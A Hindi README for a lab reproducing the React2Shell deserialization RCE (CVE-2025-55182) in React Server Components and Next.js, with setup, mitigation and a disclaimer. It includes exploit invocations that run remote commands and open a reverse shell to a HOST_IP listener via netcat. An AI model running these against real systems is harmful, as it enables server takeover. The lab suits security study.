CVE-2025-55182 (React2Shell) भेद्यता विश्लेषण प्रयोगशाला

इस रिपॉजिटरी में CVE-2025-55182 का विश्लेषण और पुनरुत्पादन करने के लिए एक संपूर्ण वातावरण शामिल है, जो React Server Components (RSC) में एक गंभीर रिमोट कोड निष्पादन (RCE) भेद्यता है, जो React 19.x और Next.js 15.x को प्रभावित करती है।

⚠️ चेतावनी: इस प्रोजेक्ट में जानबूझकर भेद्य कोड शामिल है। इसे सार्वजनिक सर्वर या उत्पादन वातावरण में तैनात न करें।

🔍 भेद्यता अवलोकन

• CVE ID: CVE-2025-55182
• उपनाम: React2Shell
• CVSS स्कोर: 10.0 (गंभीर)
• भेद्यता प्रकार: CWE-502 (अविश्वसनीय डेटा का डिसीरियलाइज़ेशन)
• प्रभावित घटक:
  • React Server Components (19.0.0 - 19.2.0)
  • Next.js (15.0.0 - 16.0.7)
  • react-server-dom-webpack, react-server-dom-turbopack

तंत्र

यह भेद्यता React Server Components रनटाइम द्वारा HTTP अनुरोधों (Server Actions) से सीरियलाइज़्ड डेटा को संसाधित करने के तरीके में मौजूद है। एक हमलावर एक दुर्भावनापूर्ण "Flight" प्रोटोकॉल पेलोड तैयार कर सकता है, जो सर्वर द्वारा डिसीरियलाइज़ किए जाने पर, प्रमाणीकरण जाँच होने से पहले मनमाना कोड निष्पादित करता है।

📂 प्रोजेक्ट संरचना

react2shell/
├── vulnerable-app/       # Vulnerable Next.js 15 application
│   ├── app/
│   │   ├── actions.ts    # Vulnerable Server Actions
│   │   └── page.tsx      # UI for testing vulnerability
│   ├── Dockerfile        # Container definition
│   └── package.json
├── exploit/              # Exploit tools
│   ├── exploit.py        # Python PoC exploit
│   ├── scanner.py        # Vulnerability scanner
│   └── quick_exploit.sh  # Simple bash exploit
├── docs/                 # Analysis documentation
└── docker-compose.yml    # Isolated lab environment

🚀 आरंभ करना

आवश्यक शर्तें

• Docker & Docker Compose
• Python 3.x (स्थानीय रूप से एक्सप्लॉइट चलाने के लिए)

1. प्रयोगशाला वातावरण प्रारंभ करें

भेद्य एप्लिकेशन को एक पृथक कंटेनर में चलाएँ:

docker-compose up -d --build

एप्लिकेशन http://localhost:3000 पर उपलब्ध होगा।

2. एप्लिकेशन सत्यापित करें

अपने ब्राउज़र में http://localhost:3000 पर जाएँ। आपको कई परीक्षण पैनलों के साथ "React2Shell Lab" इंटरफ़ेस देखना चाहिए:

• कमांड निष्पादन: प्रत्यक्ष कमांड इंजेक्शन का परीक्षण करें
• असुरक्षित डिसीरियलाइज़ेशन: JSON-आधारित डिसीरियलाइज़ेशन एक्सप्लॉइट का परीक्षण करें
• मनमाना फ़ाइल पढ़ना: पाथ ट्रैवर्सल का परीक्षण करें
• सिस्टम जानकारी: सिस्टम विवरण देखें (RCE प्रभाव सत्यापित करने के लिए)

⚔️ शोषण

हम भेद्यता का परीक्षण करने के लिए कई उपकरण प्रदान करते हैं।

पायथन एक्सप्लॉइट का उपयोग करना

1. आवश्यकताएँ स्थापित करें:

   root@kitploit:~

   pip install -r exploit/requirements.txt
   

2. जाँचें कि क्या यह भेद्य है:

   root@kitploit:~

   python3 exploit/exploit.py -u http://localhost:3000 --check
   

3. एक कमांड निष्पादित करें:

   root@kitploit:~

   python3 exploit/exploit.py -u http://localhost:3000 -c "id"
   

4. रिवर्स शेल (एक लिसनर की आवश्यकता है, जैसे nc -lvnp 4444):

   root@kitploit:~

   python3 exploit/exploit.py -u http://localhost:3000 --revshell -l HOST_IP -p 4444
   

स्कैनर का उपयोग करना

भेद्य React/Next.js इंस्टेंस के लिए स्कैन करें:

python3 exploit/scanner.py -u http://localhost:3000

🛡️ शमन

अपने स्वयं के अनुप्रयोगों में इस भेद्यता को ठीक करने के लिए:

1. निर्भरताएँ अपग्रेड करें:

   • React को संस्करण 19.3.0 या उसके बाद के संस्करण में अपग्रेड करें।
   • अपनी ब्रांच के आधार पर Next.js को संस्करण 15.0.5, 15.1.9, या 16.0.8 में अपग्रेड करें।

2. पैच सत्यापित करें: यह सुनिश्चित करने के लिए package.json जाँचें कि react-server-dom-* पैकेज अपडेटेड हैं।

📝 अस्वीकरण

यह प्रोजेक्ट केवल शैक्षिक उद्देश्यों और सुरक्षा अनुसंधान के लिए है। लेखक इस सामग्री के दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेते हैं।